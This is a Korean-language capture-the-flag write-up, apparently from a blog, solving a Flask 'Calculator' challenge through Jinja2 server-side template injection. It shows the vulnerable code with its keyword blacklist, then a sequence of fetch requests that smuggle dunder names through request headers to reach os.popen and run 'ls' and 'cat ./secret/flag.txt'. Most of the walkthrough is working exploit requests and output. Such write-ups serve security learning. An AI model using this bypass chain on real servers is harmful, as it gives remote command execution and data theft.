[WEB] Calculator (SSTI)

계산기가 있다.

from flask import Flask, render_template, render_template_string, request
import re
app = Flask (__name__)

@app.route('/')
def calc():
    expression = request.args.get('expression')
    filters = ["'","\\"","_","[","]",",","`","sys","os","flag","%","class","config","self","\\\\"]
    request.args = None
    try:
        for filter in filters:
            if filter in expression:
                raise Exception("filterd")
        result = render_template_string(f"{{{{{expression}}}}}")
    except Exception as e:
        result = ""
    return render_template('index.html', result=result)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port='5000', debug=False)

render_template_string을 쓰고 있다. → SSTI!!

‘ ” _ [ ] , ` sys os flag % class config self \ → 상당히 많이 필터링되고 있다.

[WEB] SSTI (Server-Side Template Injection) for Jinja2

request.args를 None으로 설정하는 부분 때문에 args를 쓰지 못한다.

대신 request.headers를 사용할 수 있다!!

Jinja2 SSTI

request.headers를 사용하는 예시들이다.

이제 headers에 내가 원하는 값을 하나씩 넣어보면서 시작해보자.

await fetch("<http://localhost/?expression=()|attr(request.headers.c)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "c" : "__class__"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__

await fetch("<http://localhost/?expression=()|attr(request.headers.c)|attr(request.headers.a)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "c" : "__class__",
        "a" : "__mro__"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__.__getitem__(1) == ().__class__.__mro__[1]

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()

441 가봤는데 없어서 그냥 이것저것 넣어보면서 찾아냈다.

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(418)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__"
    },
    "method": "GET",
    "mode": "cors"
});

418번째에 있었다! ㅎㅎ..

Popen까지는 찾았는데, comma를 못 써가지고 (ls,shell=True, stdout=-1)을 넣을 방법이 없었다. 그래서 다른 방법을 찾다가

codecs.IncrementalDecoder를 찾았다!

codecs — 코덱 레지스트리와 베이스 클래스

그렇다고 한다.

아무튼 위의 코드를 이용해서 RCE를 해보자.

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103]

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
		"e" : "__init__"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__"
    },
    "method": "GET",
    "mode": "cors"
});

⛳ {‘name‘: ‘codecs’, ‘doc‘: ‘ codecs — Python Codec Registry, API and helpers.\n\n\nWritten by Marc-Andre Lemburg (mal@lemburg.com).\n\n(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.\n\n’, ‘package‘: ”, ‘loader‘: …

‘license’: Type license() to see the full license text, ‘help’: Type help() for interactive help, or help(object) for help about object.}, ‘builtins’: <module ‘builtins’ (built-in)>, 'sys': <module 'sys' (built-in)>, ‘register’: <built-in function register>, ‘lookup’: <built-in function lookup>, ‘encode’: <built-in function encode>, ‘decode’: <built-in function decode>,

… ‘backslashreplace_errors’: <built-in function backslashreplace_errors>, ‘namereplace_errors’: <built-in function namereplace_errors>, ‘_false’: 0}

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__

우리가 써야하는 sys가 보인다.

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
				"e" : "__init__",
				"f" : "__globals__",
				"g" : "sys",
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’]

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__",
        "g" : "sys",
        "h" : "modules"
    },
    "method": "GET",
    "mode": "cors"
});

⛳ {‘sys’: <module ‘sys’ (built-in)>, ‘builtins’: <module ‘builtins’ (built-in)>,

‘_abc’: <module ‘_abc’ (built-in)>, ‘site’: <module ‘site’ from ‘/usr/lib/python3.7/site.py’>, 'os': <module 'os' from '/usr/lib/python3.7/os.py'>, ‘stat’: <module ‘stat’ from ‘/usr/lib/python3.7/stat.py’>, ‘_stat’: <module ‘_stat’ (built-in)>, ‘posixpath’: <module ‘posixpath’ from ‘/usr/lib/python3.7/posixpath.py’>,

, ‘jinja2.debug’: <module ‘jinja2.debug’ from ‘/usr/local/lib/python3.7/dist-packages/jinja2/debug.py’>}

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules

sys에는 os라는 모듈이 존재한다!

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__",
        "g" : "sys",
        "h" : "modules",
        "i" : "os"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’]

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__",
        "g" : "sys",
        "h" : "modules",
        "i" : "os",
        "j" : "popen"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’].popen

os 모듈에는 popen 함수가 존재한다.

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)(request.headers.k)|attr(request.headers.l)()>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__",
        "g" : "sys",
        "h" : "modules",
        "i" : "os",
        "j" : "popen",
        "k" : "ls",
        "l" : "read"
    },
    "method": "GET",
    "mode": "cors"
});

().__class__.__mro__[1].__subclasses__()[103].__init__.__globals__[’sys’].modules[’os’].popen(’ls’).read()

ls가 실행되었다!!

await fetch("<http://localhost/?expression=()|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(1)|attr(request.headers.d)()|attr(request.headers.c)(103)|attr(request.headers.e)|attr(request.headers.f)|attr(request.headers.c)(request.headers.g)|attr(request.headers.h)|attr(request.headers.c)(request.headers.i)|attr(request.headers.j)(request.headers.k)|attr(request.headers.l)()>", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:122.0) Gecko/20100101 Firefox/122.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "a" : "__class__",
        "b" : "__mro__",
        "c" : "__getitem__",
        "d" : "__subclasses__",
        "e" : "__init__",
        "f" : "__globals__",
        "g" : "sys",
        "h" : "modules",
        "i" : "os",
        "j" : "popen",
        "k" : "cat ./secret/flag.txt",
        "l" : "read"
    },
    "method": "GET",
    "mode": "cors"
});

cat ./secret/flag.txt로 flag를 읽으면 끝!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤